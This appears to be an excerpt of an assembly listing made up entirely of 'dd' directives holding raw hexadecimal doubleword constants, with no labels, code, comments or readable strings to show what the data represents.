		dd 82A8E78h, 4A44E0D3h,	48E16062h, 6B3F92DAh, 63679D06h
		dd 2AF1CBE8h, 9AC104Ah,	8E6DE997h, 0ABE60400h, 6F100818h
		dd 6048414h, 0A1D1EC54h, 0F3E00878h, 59745C98h,	51492B78h
		dd 33C83ADCh, 0C0AB21A3h, 0C09D7548h, 0C195CE71h, 1478A36Dh
		dd 890B4CB2h, 831707E2h, 6AFF08Ch, 3EE0F371h, 3D44F8C9h
		dd 2E872C3h, 1138F66Ah,	18C66DEEh, 0B4DABE00h, 0AA714F95h
		dd 0F9570DD8h, 8040E573h, 9B326169h, 54E95659h,	3C9A90F4h
		dd 0EC306360h, 91522811h, 0FCDFF226h, 3F92021Dh, 30205013h
		dd 1273923Dh, 2195966Bh, 24E19374h, 5904DB9Ch, 0C2AB6FE3h
		dd 3C1CB583h, 6A0090B9h, 4F485B0Dh, 4E0EE2F3h, 0A1B4D946h
		dd 0D072955Fh, 88542C20h, 0EC3FD2F3h, 0F2D38085h, 483E8DE7h
		dd 0C8BB0AADh, 80C04D79h, 38D43A05h, 0DA0B5D22h, 0B5A57B8h
		dd 9BB8A2F8h, 47EA0371h, 0E1885945h, 0CD11805Fh, 64E4F4D3h
		dd 2916733Bh, 89D4B0E8h, 0A80629EFh, 60AC515Eh,	0FB951618h
		dd 0BE9E221h, 664FD536h, 170C0C88h, 4496E8D6h, 0E9269DD0h
		dd 5F0363B9h, 0D84953F3h, 4D50417h, 0BB1495C7h,	61F0C4A9h
		dd 0E5D84D14h, 95304142h, 0D0F00924h, 0F018C340h, 68016093h
		dd 7358D7E0h, 1ACCB29Ah, 0C4651708h, 94870345h,	910713F0h
		dd 8F3C5F12h, 0CC261870h
		dd 0EA631283h, 0E70422F8h, 28176862h, 145D4284h, 0E461013Ah
		dd 97EC3A8Fh, 64D85982h, 0C0A0A275h, 6E844E37h,	0CC400F4Bh
		dd 0A438C916h, 0AD072640h, 229612ACh, 0E718491Ch, 6ADD0985h
		dd 1183574Fh, 23ED7395h, 51CA8098h, 44CBA4A5h, 212C200Ch
		dd 3C0834E3h, 0BE311E41h, 36823032h, 0F852C903h, 305E1E00h
		dd 0EA8A8CB5h, 0DC43FFD5h, 2C04D590h, 0FC87E56Bh, 421A74C2h
		dd 790AFBDh, 218F7172h,	309D107Fh, 14B881A5h, 0E08A6FEDh
		dd 4E993460h, 288002D0h, 0C8482C7Ch, 8504F4BEh,	0A3AE1D8Dh
		dd 92FAACC0h, 68212CE0h, 50E904ECh, 4430905Bh, 3C909882h
		dd 1C155101h, 69B29C6Fh, 44034461h, 0BD511DBFh,	317ED8F2h
		dd 9918E44Fh, 10A02668h, 675D33A5h, 0D4E1D6E0h,	6188322h
		dd 0CF1C2996h, 3CC31FC4h, 6218002Fh, 3A3408F9h,	0B934338Eh
		dd 94064920h, 0FE304172h, 3510785Ch, 8103D15h, 18B3F1B4h
		dd 970A6E5h, 0B6F06C38h, 0C879A860h, 0B9064C96h, 0E85D86h
		dd 34442675h, 97CA7B7Fh, 0D979C0C0h, 288C0E36h,	0FB1410B8h
		dd 0A4448108h, 5CF884DDh, 80437E88h, 0AB0098C7h, 89EE8F9Ah
		dd 1E07C594h, 2E96E5A3h, 0AB70133h, 0F00EE866h,	0B000C756h
		dd 52E789C6h, 0FE25096h, 0FA84B7A7h, 0A1D39860h, 7900E6F9h
		dd 6FC17A5Eh, 16DFD4h, 89C52494h, 98E8618Bh, 4100BE7Eh
		dd 71E03AB1h, 0ACC45Dh,	0D124F9C8h, 0AFB5E3F6h,	0C0A07C00h
		dd 3C21452Dh, 0ED780699h, 308C1703h, 0A568300h,	2438D125h
		dd 0FCAF00A8h, 500522E1h, 1300B3D5h, 0A3DB740Dh, 38F6AC08h
		dd 83007746h, 35EC637Ch, 2600B3D9h, 2AC61D62h, 9847C8h
		dd 112780EBh, 77099221h, 0D4B29407h, 43F0A61Fh,	0F02CA4h
		dd 48E60DADh, 0FE3190D0h, 0A3CF3Eh, 0F29C54AAh,	4CD5B3Ah
		dd 0EE7C0B52h, 9784A01Bh, 0AFA40700h, 8FC443A5h, 1A114C05h
		dd 0BA00A63Ch, 0EE220C01h, 0F073EADh, 27BBF98Ah, 1C9AD200h
		dd 0F4EA0029h, 934CCB32h, 0EF3F640Fh, 0E8360035h, 38FFA5F7h
		dd 27A80740h, 0F51C59h,	17BEFDDDh, 0BFB55600h, 6602AB8Eh
		dd 1DF20230h, 20453331h, 477ECEC0h, 3AD6CE0Eh, 92530054h
		dd 0F628905h, 0BF677BAFh, 8A815C00h, 0A005407h,	13D4EDFEh
		dd 1440414h, 0F90135EBh, 348A746Fh, 0D90ABE28h,	0D0594BC2h
		dd 0DFBB6700h, 2156A5h,	0B355FCA0h, 700974B7h, 0F0B86A28h
		dd 72064A00h, 0BCC9A758h, 19ED60FDh, 2AA16617h,	83037600h
		dd 0A8B43EA3h, 0C58C07Bh, 77EF3A56h, 915CD501h,	952011F8h
		dd 0F3C3EF0h, 0EE652BBCh, 0DBD1E980h, 3703CBC8h, 5C3DBA2Ah
		dd 0D9610786h, 0F13ED2D3h, 0F51AC622h, 0B7A0CC43h, 40DA21CEh
		dd 88015FF0h, 0FAA124BBh, 0ABDC004Ch, 0ADDE57E0h, 39B34600h
		dd 582BED35h, 998F06EFh, 4092371Eh, 1CFB5A00h, 89E35DAh
		dd 0B33E3B8Ah, 0CB8EB580h, 67183692h, 0D8A44C01h, 87440830h
		dd 312643Ch, 0B1C6001Ch, 920BB837h, 9E9B240Fh, 0D8E00B2h
		dd 0F21608h, 3E046AD9h,	74E3D71Bh, 0F90035E2h, 0DECF8E3Dh
		dd 4326B6Fh, 614BA80Ch,	0D91490ADh, 0F841D24h, 31E1D14Ch
		dd 1B3DA600h, 0FF007F67h, 22CFDDCh, 0FC45E9Dh, 8169ADB2h
		dd 6F9F0840h, 9398699h,	12F50F19h, 0B57A037h, 3898546Ch
		dd 1700C00Ah, 2B6A9D41h, 4F00905Dh, 325A8B7Dh, 20ABE155h
		dd 690395F4h, 0FFF2F74h, 6DB10782h, 800E0234h, 5E65DF4Dh
		dd 860D291Fh, 0C0EB390Eh, 1D942012h, 0AE37033Bh, 9289493Fh
		dd 0F8BCEAD1h, 412E7A57h, 1C009306h, 0D5823ADFh, 23440090h
		dd 0D678F5EDh, 96E43042h, 43CED900h, 226FF7BFh,	59C94A8h
		dd 40AD0F78h, 0FA390580h, 1D00804Dh, 0AC62ED0h,	5F56427Bh
		dd 0F660B0A3h, 0C75A9500h, 0CC8B4AA9h, 571003C8h, 0E61C2D4Eh
		dd 5C33A880h, 0A6D95A1Ch, 3A1D2902h, 652040B7h,	0B317E6Ch
		dd 8A964E97h, 82038B00h, 0CB028C2Ch, 505D9BBDh,	0BA13C02Eh
		dd 0EC742E3Ah, 6ED8E88h, 540FF820h, 0EE001332h,	0A05D1EF1h
		dd 576A0Ah, 0F62C7A24h,	525311Ah, 0C7350E00h, 426DA422h
		dd 9B1802C8h, 1EC96878h, 0A379A450h, 5AA45C07h,	0E11FBBCAh
		dd 69A55BECh, 0B9B5E0h,	97C7FD72h, 0E203CDD1h, 0A607F698h
		dd 0BDBC81FCh, 91989560h, 0B77800EDh, 0FE2B5340h, 0F4EF6BB8h
		dd 72009FA0h, 42985504h, 26544D89h, 80DCC722h, 0E75BD29Eh
		dd 0EF00E01Ah, 76FF131Ch, 0F0934Bh, 0C95382C2h,	81F3B439h
		dd 0C600FC75h, 0DA159608h, 7CF0F621h, 0E2460905h, 0C0203FF4h
		dd 529BE0AFh, 15C9E48h,	55EF9672h, 0DED02ADAh, 0D6AB07B1h
		dd 0F04AC6C7h, 0DCD1ECAh, 80F3253Ah, 271FE6A7h,	23599D1h
		dd 0B42E418h, 2CC0232Ch, 0D30E4BDEh, 60A8CEAAh,	394D6E7Fh
		dd 8F4000CFh, 0ECEF9BE3h, 250F3F75h, 0A196EAC4h, 0C2F553A8h
		dd 46C7E4h, 0A7B48736h,	0C0BD4F05h, 0C8AE1B1Dh,	0E32B14h
		dd 0D4648B2Eh, 24FAD7C4h, 419BCFh, 5813254Fh, 12055FD2h
		dd 2A6E8F4h, 95C014h, 1CCDEC53h, 61455Bh, 0AA27C0B0h, 151271D9h
		dd 0E7947E0h, 0E1AC9D00h, 756DABAEh, 80690F30h,	5D6FFAE2h
		dd 86840640h, 1E015792h, 0DD61A115h, 828EA69h, 58976F00h
		dd 76858670h, 0E874CA00h, 0C655A157h, 7EC512B1h, 0FD0600E9h
		dd 4EE5FFC9h, 38A28A38h, 0DB07186Eh, 131DA4Eh, 928DFC45h
		dd 21BA42D8h, 440CF40Ch, 0CD940E50h, 0DE64C700h, 4E6CE7A2h
		dd 0F487501Fh, 0AADB0098h, 4C756A69h, 9D2C0F92h, 0D80AB383h
		dd 22059CA0h, 0F4004DFFh, 11CC2A96h, 3AE80126h,	0A763732h
		dd 804ED9D1h, 154A5920h, 1DE47A17h, 44F82430h, 0A008F642h
		dd 93132178h, 0D800B4D5h, 3ACFBE0Eh, 0DFFC0140h, 944B119Fh
		dd 2F582057h, 9C01C679h, 8B716BFBh, 5AF1C179h, 69749850h
		dd 9028904Fh, 344000A9h, 80313C2Dh, 0F80F9ED6h,	0E24E7D15h
		dd 5A2E2F7Eh, 9C370034h, 29B0F2E5h, 9200C57Fh, 0AC633471h
		dd 2A0BBCCh, 58266B05h,	0C8E091ABh, 0DA03740Ch,	888DA2C4h
		dd 0DBACD8B1h, 87A601C1h, 9E0AC386h, 9C0760D8h,	5349DE0Ch
		dd 3AE0A16Bh, 74808F4Fh, 0D5E26D07h, 52F5484Bh,	54005310h
		dd 39C6D08h, 4171077Ch,	99D96BC3h, 7EE3F264h, 8FA63EA0h
		dd 486D3617h, 0BDAACD00h, 0E9E5B91Bh, 0AF95A841h, 0E868DEFCh
		dd 0E9E9C016h, 9A03F490h, 1A739D1Fh, 0CFEA8D07h, 0AF70D841h
		dd 944C908Ah, 6D150C18h, 48C1EC99h, 0B53833EEh,	0A8DFDCh
		dd 3D51798Fh, 0F3428C0Eh, 31ED4812h, 0E532CC00h, 0D71DC9h
		dd 225963E8h, 97D46B5Fh, 58750D12h, 7398A0h, 0B507BC9Ah
		dd 1C3FAF0Fh, 138D0E1Dh, 0AADD6402h, 71D0A00Bh,	0E465969Ah
		dd 0EB1538C3h, 0E864177Ch, 0CA7447A1h, 166FF108h, 8FB98025h
		dd 0D01C143Ah, 5DF33E64h, 0BAAC7804h, 5A4A88Ah,	9BA9BE2Eh
		dd 0BBAAB800h, 4EE963D9h, 0F02C06D6h, 6000879h,	908066C9h
		dd 0EF0C3812h, 0CFD146Ch, 0AB4BF004h, 42CF2848h, 7E225890h
		dd 92E62241h, 223BC122h, 7225627Dh, 9CFB1404h, 46898548h
		dd 0FD0CA0D0h, 0F6CA24Fh, 6DBAB4E1h, 56A08900h,	0F5E2ABE2h
		dd 0D03B7F8h, 0E89AF167h, 2A1F845h, 9304167Ah, 444600D9h
		dd 0BCCA3F57h, 0E9001898h, 272ABB4h, 1F1530h, 0C1076162h
		dd 0B3431BFDh, 5E4CDC90h, 7FB90164h, 554A140Eh,	3AFC1880h
		dd 32F878DAh, 43D26E05h, 0DCE09E12h, 1C11EE27h,	669576D7h
		dd 3A154000h, 78389F46h, 0D2FB80C3h, 4DA22155h,	1CA037Fh
		dd 0F7C72A5Fh
		dd 0D70CC0D4h, 3000DD32h, 0EE4E59D0h, 10A6A1Dh,	0AA31A876h
		dd 683CB3F4h, 783203B0h, 0CFBE85BBh, 21E67F70h,	3C18996Ah
		dd 4BA4869Ch, 64ACBD6Bh, 2EB01B19h, 8C0F4CE2h, 20037098h
		dd 87D7E67Eh, 541E07CBh, 0F73A5D96h, 0C06654CFh, 425125FBh
		dd 78EE591Ch, 318048F7h, 6E0458h, 144AE27Eh, 0D8C44664h
		dd 0B12F0201h, 0EFCBA027h, 7CA2074h, 981AF46Ch,	0E8925095h
		dd 0A51EC219h, 0B4C0F58Ah, 334B710Dh, 348601E9h, 5EEE6255h
		dd 9778D4E1h, 0E7FE2D00h, 4C717DD7h, 41A439C4h,	8EB5318Fh
		dd 78C5C843h, 9C7C2CA8h, 0F0286E60h, 12B1EB8h, 0CF4D1B72h
		dd 40EBF9D3h, 6183E7E4h, 705458h, 64D675DDh, 805082h, 0AFBD17EEh
		dd 0CDE97124h, 88744505h, 287B29Bh, 889D7063h, 2DCC8C3Dh
		dd 0F800FD7Dh, 46D06CD3h, 0B3C33001h, 0F2F55562h, 0D81EFC55h
		dd 0FFE7DE80h, 0EAA3A7h, 6EF9F87Dh, 5543696Ch, 5F56FCA0h
		dd 172D2800h, 37AD09E1h, 92DEFE66h, 0C8E07Ch, 0C07784EBh
		dd 387CDCA7h, 70EDA500h, 32585AA9h, 0D0161799h,	0E9E4C018h
		dd 7E38B0F4h, 5D51008Eh, 81B1EDEFh, 0CFE08Dh, 0AADFE560h
		dd 0BAEB058Ch, 90A96C00h, 0BD9E13A0h, 0C03B0FB7h, 0A1070993h
		dd 0D6917068h, 6013DFBh, 5E9C9BD3h, 6C28E82Ch, 0AA401700h
		dd 0F4165729h, 79000C9Ch, 0AFEAA943h, 0B1DC03C2h, 0E7EE5F24h
		dd 0C990D1A0h, 408C8A51h, 0FDDCE23Eh, 2EE3061Dh, 0BA9BD003h
		dd 0E0287CE8h, 3CAF008Bh, 0EA793E7Dh, 0DD0B3142h, 0D3340Bh
		dd 178F85F0h, 4C150029h, 58195637h, 0BE005901h,	0FCC9882Bh
		dd 19C3882h, 0ECEB922Fh, 0C4536964h, 1C1FA6C6h,	0E3004067h
		dd 0DE5038FAh, 3D66F49Ah, 0C88FFE34h, 4F2CB9Ch,	0B0F9043Fh
		dd 7707679Ch, 73787F53h, 0B0585F13h, 0F0758246h, 5E511C69h
		dd 0D7D8154h, 30A95A61h, 0C0014F30h, 98B8AC8Ah,	0D0F3C264h
		dd 339F83h, 0E61C885h, 7035F7E8h, 6C665326h, 623D0281h
		dd 20259FB6h, 4A3CE0h, 0F4B1BF60h, 28B5363Eh, 660165ECh
		dd 0E75AD2A0h, 88F80AB3h, 6C73005Fh, 0CAC6827Ch, 0B700644Dh
		dd 8A2A063h, 0EC030159h, 65C238ACh, 1F771EFAh, 0EE7E09A6h
		dd 82688B81h, 0F4B4D939h, 0BF00B554h, 0CFA37AFEh, 0E301F7Dh
		dd 0EEA595DDh, 548E91E0h, 90255CF9h, 40D80FF0h,	0B599E3A4h
		dd 137100AFh, 0DF857C56h, 0AA00AB65h, 819398CCh, 406286h
		dd 9B344642h, 0F930573Bh, 1C442C1Dh, 37E7D680h,	73632Fh
		dd 0C4F0B4B6h, 0D8F1A53Fh, 0C0ADE500h, 879095C9h, 6FEA0004h
		dd 5E2A1AFDh, 6C3B9362h, 0E0788141h, 0C5257516h, 79FB8ED0h
		dd 0EAD600D9h, 0D5996612h, 13000719h, 0EF92BB20h, 238276h
		dd 5E52BE7Bh, 7F750B5Ah, 0E0369E07h, 7285F7E4h,	8011821Bh
		dd 0A57E9h, 3341EACDh, 3A7AE4Ah, 71CDA03h, 0C8CAB2D4h
		dd 9DFC6Eh, 70B43378h, 0B7C3AFA0h, 0E5C96C00h, 0ABCEFACFh
		dd 6A741CACh, 6EF88036h, 0EED449F3h, 0C21CA172h, 0DC40A92Ch
		dd 0BB43DFCEh, 45F00CFh, 710BFE4Dh, 2600E667h, 6A05483Fh
		dd 11FF098h, 40FFDC06h,	64213BD7h, 1C0031D0h, 0AA2F6668h
		dd 9829A8DDh, 28535CFCh, 2862C980h, 0C4035E9Fh,	1B194BFDh
		dd 0CADA80BCh, 0BD23043Bh, 0E4A3A0EDh, 8B24F004h, 0F30134B2h
		dd 0EFD037CBh, 1D11EAF4h, 4751BA4h, 0AAF96C4Dh,	0ACA3E4C0h
		dd 0FBDC0124h, 8944BE1Fh, 59852BB0h, 0BF1C93h, 0B567625Ch
		dd 527D7CC1h, 4EAED91Eh, 6F7ACB00h, 1B1E051h, 0FE6DAFE6h
		dd 0E6619D88h, 0FA48F4C0h, 3C8FBF00h, 0BB09F33h, 0FEE10059h
		dd 997A5E83h, 674C8C77h, 0B45FC0C8h, 13DFEAE7h,	580BF4h
		dd 22AE20B8h, 0E500FCA0h, 0C1250C24h, 0F1A4F9h,	9A642B29h
		dd 0DC74E6D4h, 0FB916900h, 7A169822h, 3B4118EBh, 96D2E0ADh
		dd 0A7DFB810h, 12457026h, 0CF048162h, 7E852F30h, 4B2D7500h
		dd 78DE0B1Fh, 2B2E01DFh, 0E10E2245h, 0F3ED077h,	0F44EF900h
		dd 0D91BDA70h, 3F2E004Ah, 20D1830Bh, 6F19095Ch,	49E0786Dh
		dd 1EDE2160h, 1C089516h, 0B4F5D388h, 6300F24Ch,	0DF091BCEh
		dd 3CB75Ch, 0DD882083h,	0D7E8BF6Bh, 8700FD7Dh, 3AEB44E5h
		dd 4E984D49h, 867C40D9h, 272E9D47h, 3AF5ED00h, 37924E87h
		dd 4CB019h, 90D64A06h, 0BE72544h, 0D4813C00h, 0E564AE99h
		dd 94EC7791h, 418F80B4h, 8B3E0E68h, 9C58DF07h, 0A9BD6940h
		dd 0E7CD7ACDh, 3A9536E0h, 9A3AB7F4h, 29911275h,	0EB308068h
		dd 0EC0016FCh, 0D5EEB510h, 4AFAAF70h, 0E8F48467h, 0D0007828h
		dd 87F427E5h, 91EA76h, 94BE4A2Fh, 9502EC67h, 0A793D3Dh
		dd 0EDE31199h, 4A080939h, 8F506856h, 7A78FCD9h,	31AD81D5h
		dd 63299EE9h, 0D4ED420Fh, 2291146Ch, 9FE71950h,	211AF2C0h
		dd 7C3580D4h, 4B338DBDh, 3ECA9A00h, 6014A3D8h, 5A1A0FA9h
		dd 38782B38h, 4A0089F2h, 53CDE9Bh, 1E21035Bh, 0C0B70E81h
		dd 0BFC066BCh, 0B5FC771Dh, 6C547E00h, 0DA29E1E4h, 7C79A3h
		dd 606D7507h, 1DDCD52Dh, 7B1ECFE4h, 0BE582252h,	24A630h
		dd 62BC4FA5h, 2BB7052Fh, 0F57D570Fh, 5921A068h,	3130E11h
		dd 1F1A3EEFh, 0C0F835E3h, 5200AB2Eh, 0C2F1B657h, 3C8674Fh
		dd 35F4C645h, 4BB03D10h, 63050E1Ah, 3F18FE78h, 0F0116AC0h
		dd 0AFBF0027h, 4554B7E3h, 7CF0F3A6h, 75C46700h,	422804DAh
		dd 3D4C746Ch, 78001E14h, 1248392Ch, 0BE07279Ch,	0B0BC2FF0h
		dd 50B26024h, 0F2F4A5E4h, 13D60497h, 2686B36h, 0EAFAD468h
		dd 9C00A056h, 0FB068075h, 60E2484Eh, 0B0E83609h, 32D46C03h
		dd 82229B6h, 0E3E42276h, 22B1FC22h, 0F450ED67h,	0E0457628h
		dd 951482D2h, 84D02FECh, 3444DE09h, 0F02D44B2h,	5F784C44h
		dd 3821CA11h, 0BDF62A08h, 0C7201142h, 5C080C21h, 642494FAh
		dd 28CFD711h, 0C8107870h, 10215001h, 88FCC208h,	3894BB84h
		dd 3C7C2814h, 93A07A00h, 6B31D24Bh, 0A5C400D0h,	13E85EF8h
		dd 1103F7AAh, 9165C019h, 3D2921A1h, 915B3E08h, 0A0C6000Bh
		dd 0D4B86775h, 58870355h, 0B96482A9h, 52985FC3h, 9D3E8BB6h
		dd 0B16F0021h, 0C999C0A2h, 0D0AD00C5h, 0AEC76BE1h, 0A801CAFEh
		dd 6628A735h, 42CCDFE6h, 1FF23A9Ah, 0EA5BCC05h,	0D2508045h
		dd 5300DB18h, 0A4C37019h, 77B14B50h, 0F30D000Bh, 221A6163h
		dd 0EF004CD8h, 5CD152ECh, 98E41E4Fh, 0B97E0042h, 54A73840h
		dd 0F700A196h, 1D7D500Ah, 0D9CF26h, 97290216h, 5DCCA707h
		dd 5E79907h, 32F06882h,	0C580B9h, 0C244B536h, 668D7533h
		dd 0C0625E00h, 11965B6Dh, 0F949C31Dh, 9CD06C29h, 4E006EE8h
		dd 4C72D24h, 0EED53F59h, 0DF9071Ch, 0A025A583h,	0A22681A1h
		dd 80B03E60h, 0CE0A19h,	0FE6C95BFh, 0AC627925h,	0BC09967h
		dd 0FDE9A843h, 6518BC3h, 0F7FA54A0h, 40360418h,	61C8D5h
		dd 469507DBh, 0E8B6A37Dh, 4E696003h, 0F813EF62h, 3CBC96B3h
		dd 5B03983Dh, 0D829C682h, 0F9EB9EE8h, 942E4902h, 802238E7h
		dd 92841495h, 3DDE7579h, 8C80A07Bh, 0E559E49Bh,	231DBFEAh
		dd 0CD80B584h, 0D6991B0Eh, 0B2670061h, 36B395B4h, 0EC00C03Dh
		dd 3C4A760Fh, 0BE29963h, 4F38E06h, 0BD60D100h, 0C700B40Eh
		dd 2FF56C4Bh, 4FCBE1h, 637FCA89h, 965ABCBAh, 7642D501h
		dd 3373B830h, 0AB4BE887h, 95E06E58h, 0BA51487Ah, 2C28231Eh
		dd 7B5B4000h, 7C352EB9h, 4F5E00B4h, 6E2A0607h, 5500E660h
		dd 1923C64h, 0F35D8Bh, 0A59CFCD0h, 812C3B1Dh, 75513400h
		dd 8F870453h
		dd 0C9E3007Eh, 3260F20Dh, 151DBC16h, 0B1C3CE9Ah, 5F0AA9h
		dd 1D74DE40h, 37C16514h, 0D01E60Ah, 2800A898h, 721AE232h
		dd 669886h, 0BE9A4D70h,	0AD83676Ah, 0F4F8962Ah,	75A9ED00h
		dd 0D3702F8Ch, 0E1D90034h, 0C9593972h, 0C024F238h, 554000FDh
		dd 4BFFBh, 50C5A978h, 34ED97D2h, 16846E1Fh, 45E75A43h
		dd 0F348B0DAh, 62C01D4h, 7718C9F4h, 1B9A4243h, 919A1C40h
		dd 0E4682B88h, 5E0C00F6h, 6BFAFF86h, 1A0112E6h,	337BC01Eh
		dd 80EF2B6Eh, 0D4F7B3h,	7AEBF920h, 5ACA11F0h, 0E0C73C14h
		dd 3B6008Ch, 813542A2h,	8C52005Fh, 638007CDh, 343FC4BCh
		dd 0BED0813Ch, 0D7A86F8Bh, 7281AC0h, 788A3931h,	2CED02ADh
		dd 210711E0h, 0AEAC1200h, 93846BE0h, 8ABC001Dh,	69565822h
		dd 2C90F8DFh, 57593F00h, 3EF6922Bh, 801724ADh, 0C397076Dh
		dd 0D46BD1F4h, 0BA33201Ch, 0CA738F02h, 41FC5CACh, 32308C2Ch
		dd 84305087h, 1C671C9Fh, 3E51C05Fh, 17769585h, 4970743Ch
		dd 0E2751D08h, 1213E8DFh, 0FEB99700h, 0AA63B1h,	0C67F9809h
		dd 0A7A0BEF5h, 0D1588404h, 2C811B59h, 38E6E8BDh, 78989F67h
		dd 1452D213h, 10A1AA00h, 50B155h, 6C5648C0h, 0CBB2C52Dh
		dd 0EEAD8200h, 0BC6A1B17h, 618E00D4h, 46BFC453h, 21395D79h
		dd 0C2F4016Eh, 0F9880BD8h, 63DC1831h, 1BD0096h,	57FDB0A9h
		dd 41009B2Fh, 981B6C86h, 71FECB8h, 0CE27A25Dh, 0A8D4F03Ch
		dd 991E0571h, 315415DAh, 0F413008Ch, 0DE1AFA60h, 39100982h
		dd 2A8F6B02h, 3228803h,	0DC3C76C0h, 8706A200h, 0A5F2BD4Fh
		dd 1D9E0067h, 0E9CA439Ch, 0AB0564C2h, 5DD554B8h, 0ECB98C41h
		dd 92E87588h, 0F4CE000Fh, 160D9526h, 6209D79Ah,	0FFD564h
		dd 7423F198h, 0EE6B3FC2h, 2BF000F3h, 0CDE31D6Fh, 19C1D449h
		dd 0F4EA3A31h, 0CE5EF640h, 845D2CF3h, 71790350h, 0D9B31BC8h
		dd 213611C0h, 6D2F1903h, 0B01595FCh, 7BAA5h, 10BF7BE8h
		dd 8F59C86Fh, 20787077h, 3F26305h, 0B9802586h, 2E71D2h
		dd 0F3A0D7E9h, 0F50614ADh, 0AA577D03h, 980F9F2Bh, 525E97h
		dd 281B7F56h, 7422FE0h,	27005A98h, 0D4A2C8A9h, 8A7086h
		dd 41FC43A4h, 0B1BA42BDh, 7A008CF0h, 27212207h,	169ABC3h
		dd 428BC8B7h, 0C4E4F508h, 0D3F2AC90h, 0E0414600h, 5271E340h
		dd 0CE36000Fh, 49354DA6h, 4500EC99h, 68E6A383h,	0D3A85Ah
		dd 4D82F66Ah, 40C2119Bh, 20437307h, 0FF379527h,	1A4442C0h
		dd 1F6B0729h, 0F0EADAF4h, 0DF9BE908h, 0BA4FE31Dh, 66F611C0h
		dd 0DD1CECh, 1E8E0D85h,	0F2684841h, 0EDE8500Bh,	584410EAh
		dd 1659ECC2h, 148D748Bh, 0EF004D78h, 0C04A1489h, 0EE058218h
		dd 0C5556E9Ch, 12D310C1h, 28729D0h, 737E732h, 236047B1h
		dd 7650AEA0h, 0CA0C8FF4h, 40C10AD7h, 0ADDD1E2Fh, 0AABAC022h
		dd 62320FEh, 0C8B6CC2Ch, 46937B00h, 3E41E6E7h, 0AF805171h
		dd 0E3FD85D2h, 2077D762h, 0CA9E7B00h, 0F140971Fh, 8CE40018h
		dd 0E399446Fh, 6E007319h, 0BCF64194h, 1C4984h, 63DDAF7Eh
		dd 4FB4208Ah, 8347C13Bh, 0E39F303Ah, 9638A099h,	0B777CFh
		dd 6C073DD9h, 0A2C17181h, 67C8F300h, 0D19777Bh,	9EBC3DBFh
		dd 0B2D8B980h, 705655D5h, 0CCDF9326h, 1E08FE00h, 26FC907Fh
		dd 7B85F3Dh, 87917C2Bh,	0DECA3047h, 19007573h, 9AB977B1h
		dd 0D1A1F8h, 0AA78E5BDh, 0C696BFA3h, 0DDE0C216h, 0EDDE4005h
		dd 71FAB8C0h, 6CD2809Bh, 292E7900h, 3356013Fh, 0C0B35D67h
		dd 0FBF5B03h, 0AEB07C69h, 5109CF59h, 8136874Dh,	0D0B3C24Ch
		dd 0A4201DCDh, 48471C25h, 4C5E00EAh, 537CE3D5h,	58359F03h
		dd 0D9CCE00Dh, 0D043BAF4h, 0FF1398F7h, 8C5B800Ch, 36BD7400h
		dd 8F52987Ah, 1192001Dh, 9C20FACCh, 0F5074B05h,	68301BC0h
		dd 0A8F0BB17h, 7433CAh,	6C9B1887h, 0D4EE846Ah, 5428F500h
		dd 1B74CA1h, 877A0073h,	7939C27Bh, 5001CDDFh, 4908334Eh
		dd 0FFEC9383h, 827C00F1h, 0CAF351C8h, 450302E8h, 6278A754h
		dd 9059C8B7h, 754E005Bh, 20A39B5Ah, 8C9834B0h, 0E46F870Eh
		dd 6596066h, 1E7EBD8Dh,	987BDFh, 7DB78F0Ch, 0F07C78EAh
		dd 72AB1A00h, 8BC9C651h, 0EFB10082h, 0D6DD5EA7h, 2C797F88h
		dd 1A31E810h, 0DCC0D500h, 0BE3D5474h, 7C792300h, 0E778F8A0h
		dd 53285819h, 0B7F92200h, 365714B9h, 0E1075C1Dh, 0E22CF34Eh
		dd 4037D4CDh, 233C8EBh,	0E2C741D0h, 0B880BEECh,	972EFD4Fh
		dd 78125400h, 80ADD68Bh, 51A60031h, 2FD10486h, 49EAE503h
		dd 25384800h, 8ED0C592h, 2EDAF635h, 0F13B20h, 89F5828h
		dd 24004540h, 292748E8h, 3486B5h, 0BE512CFh, 7E2BAD9Fh
		dd 0B1000DF4h, 82B93FACh, 0EA05D7D4h, 7274001Eh, 15C1ACAh
		dd 9C01A199h, 0D5857844h, 6C30B405h, 0D4AE0043h, 5A74CA06h
		dd 7A0038B0h, 9CEB1013h, 1FF565h, 4A700D28h, 194FB24Bh
		dd 0E9618100h, 0EAD0152Dh, 4D9900F5h, 173DE8F9h, 52012343h
		dd 35026337h, 10807E14h, 2FEC6139h, 8C7C451Dh, 97CA098h
		dd 341C071Eh, 1204EE00h, 9DFFC4Bh, 3FCB2A30h, 0A42F6980h
		dd 0FB00D3A6h, 8939E033h, 456AF29h, 0E3874ECAh,	0FA4902Fh
		dd 30007D5Bh, 0BC404B91h, 0FFF36Ah, 80AFCC7Ah, 0DF62BFFCh
		dd 3D05C8F6h, 328F9C03h, 0ACD6D800h, 0B9633Ah, 0F5579267h
		dd 9436685Ah, 10C9551Eh, 0CE599780h, 1CEDA358h,	40BFBD16h
		dd 32F06A9Bh, 0A2023495h, 46B3979Dh, 2D04406Dh,	554300F9h
		dd 0C9A381AEh, 0DE22B5Ch, 0C1787200h, 0B166E988h, 0CE0501CCh
		dd 963E8348h, 0E4A0479Ah, 8268C1DEh, 30AE71B2h,	1E3CB460h
		dd 0C1990484h, 3CC3D08Ch, 0D5ADE0EBh, 0A7720068h, 0CE9553FCh
		dd 6B0071A4h, 8A50BF9Ch, 54AADF2Bh, 7673A0D3h, 0FDB90E9Bh
		dd 158E3533h, 71B2C000h, 6D00E018h, 4F09A4A8h, 3DA4864h
		dd 230E37B6h, 80C802B7h, 2D019AFEh, 0CE30266Dh,	1180A6ADh
		dd 6477BA87h, 530CC8CBh, 0C839EC02h, 59DB80Dh, 81B960DDh
		dd 0A6288019h, 0BF0265B5h, 5F455855h, 4916600Ch, 80449CE8h
		dd 0B5235AB3h, 64FE90A6h, 0ABB955Ch, 0B8C1C20Eh, 0B90731A8h
		dd 3C89A8B5h, 5561CFC1h, 26E0A0C3h, 9AE20145h, 53E6356Ch
		dd 0D6C7717Eh, 0EDB5B861h, 0F06FE9C6h, 0FF000867h, 9B39EDDCh
		dd 2E723CDBh, 9CC4BEA1h, 0D0F74683h, 120E383Eh,	4EDEBB6h
		dd 0C8C0402Bh, 932788h,	16862049h, 0DAC4040Bh, 71430912h
		dd 9C1F40C0h, 99CA050Fh, 8388BFCCh, 1E862C8h, 1E148A47h
		dd 4886F29h, 0CC3D5B3h,	0F56BECC0h, 0CA234897h,	7DD3400h
		dd 6B7B350h, 373D33F0h,	0A2E381FCh, 0C120D8B0h,	2E3CBBE8h
